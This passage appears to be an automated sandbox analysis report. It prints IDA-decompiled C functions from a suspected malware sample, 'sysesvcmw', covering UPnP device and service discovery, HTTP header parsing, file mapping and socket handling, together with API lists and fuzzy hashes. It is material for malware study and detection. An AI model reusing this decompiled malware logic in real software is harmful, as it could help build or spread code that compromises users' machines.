							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 4dfa08af28426b4d1d77860e0f1456d557a2ffbbd5efd9c9b0045f898d83f82c
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNEL32(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

HTTP/1.1 200 OK, xrefs: 0040C4FF
LOCATION: , xrefs: 0040C515

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;

				_v9 = 0;
				_v16 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0);
				if(_v16 != 0) {
					_v8 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0);
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8);
				return _v9;
			}

0x0040d446
0x0040d45d
0x0040d464
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNEL32(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004045F0 Relevance: 12.1, APIs: 8, Instructions: 97
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045F0() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x416398);
				_t35 = CreateFileW(0x4165c8, 0x80000000, 0, 0, 3, 0, 0);
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B210(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E004044E0(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408C70(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}

APIs

InitializeCriticalSection.KERNEL32(00416398,?,?,?,?,?,00406523), ref: 004045FB
CreateFileW.KERNEL32(004165C8,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00406523), ref: 00404615
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00404636
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00404655
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040466E
UnmapViewOfFile.KERNEL32(00000000), ref: 004046FB
CloseHandle.KERNEL32(00000000), ref: 00404705
CloseHandle.KERNEL32(000000FF), ref: 0040470F

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction ID: fde0418914d6c461a92172338520ab8504d9313cab43c149491a54f3197792e7
Opcode Fuzzy Hash: ed756388b1b0d6878a7a18186645e736ddd6a16e139f12393ac249dc04bab315
Instruction Fuzzy Hash: 063145B4D40209FFDB14DBE4CC49FAEB774AB89704F208969E601772C0D7B96541CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C8E0(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"device") == 0) {
									_t65 = E0040C200(_v20, L"deviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction ID: 91ab58cec92addcf45ea7f885c8d98816f20cb839f54337aae792cd6c89d1592
Opcode Fuzzy Hash: 165bc14b1495aa1e34f09e783435704cf9eca48613dfae01915159d308c3408b
Instruction Fuzzy Hash: D941E975A0020ADFCB04DF98D894BAFB7B5BF48304F108269E515A7390D778AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040C700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C700(intOrPtr* _a4, WCHAR* _a8) {
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				void* _v20;
				WCHAR* _v24;
				intOrPtr* _v28;
				WCHAR* _v32;
				intOrPtr* _t65;
				void* _t99;

				_v12 = 0;
				_v8 = 0;
				_push( &_v8);
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x20))))() == 0 && _v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_v20 = 0;
						_push( &_v20);
						_push(_v16);
						_push(_a4);
						if( *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x1c))))() != 0 || _v20 == 0) {
							L21:
							_v16 = _v16 + 1;
							continue;
						} else {
							_v24 = 0;
							_push( &_v24);
							_push(_v20);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xa4))))() == 0 && _v24 != 0) {
								if(lstrcmpiW(_v24, L"service") == 0) {
									_t65 = E0040C200(_v20, L"serviceType");
									_t99 = _t99 + 8;
									_v28 = _t65;
									if(_v28 != 0) {
										_v32 = 0;
										_push( &_v32);
										_push(_v28);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x68))))() == 0 && _v32 != 0) {
											if(lstrcmpiW(_v32, _a8) == 0) {
												_v12 = _v20;
											}
											__imp__#6(_v32);
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
									}
								}
								__imp__#6(_v24);
							}
							if(_v12 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
								goto L21;
							} else {
							}
						}
						goto L22;
					}
				}
				L22:
				return _v12;
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction ID: 7b8bcaea6bed01b8a99884d554dfbf2528ef8f0724b329980c1be25b89f5103a
Opcode Fuzzy Hash: 4741d0aecfd52b34991c53ee9f419a60a0185f3e41b6d02d04152173c09516f5
Instruction Fuzzy Hash: 3641FF75A0020ADFCB04EF98C884BAFB7B5BF48305F108269E515A7390D7789E85CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90 Relevance: 10.6, APIs: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040DF90(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E00408B00(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E00409600(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408C70(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BE60();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DEB0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E49B,00000000), ref: 0040DFAA
LeaveCriticalSection.KERNEL32(?,?,?,0040E49B,00000000), ref: 0040DFCE

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: 4bbc681d7c9b78df020861981114938a0f21831a1cbc421abd2649154505d8b2
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

service, xrefs: 0040C7B3
serviceType, xrefs: 0040C7C6

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
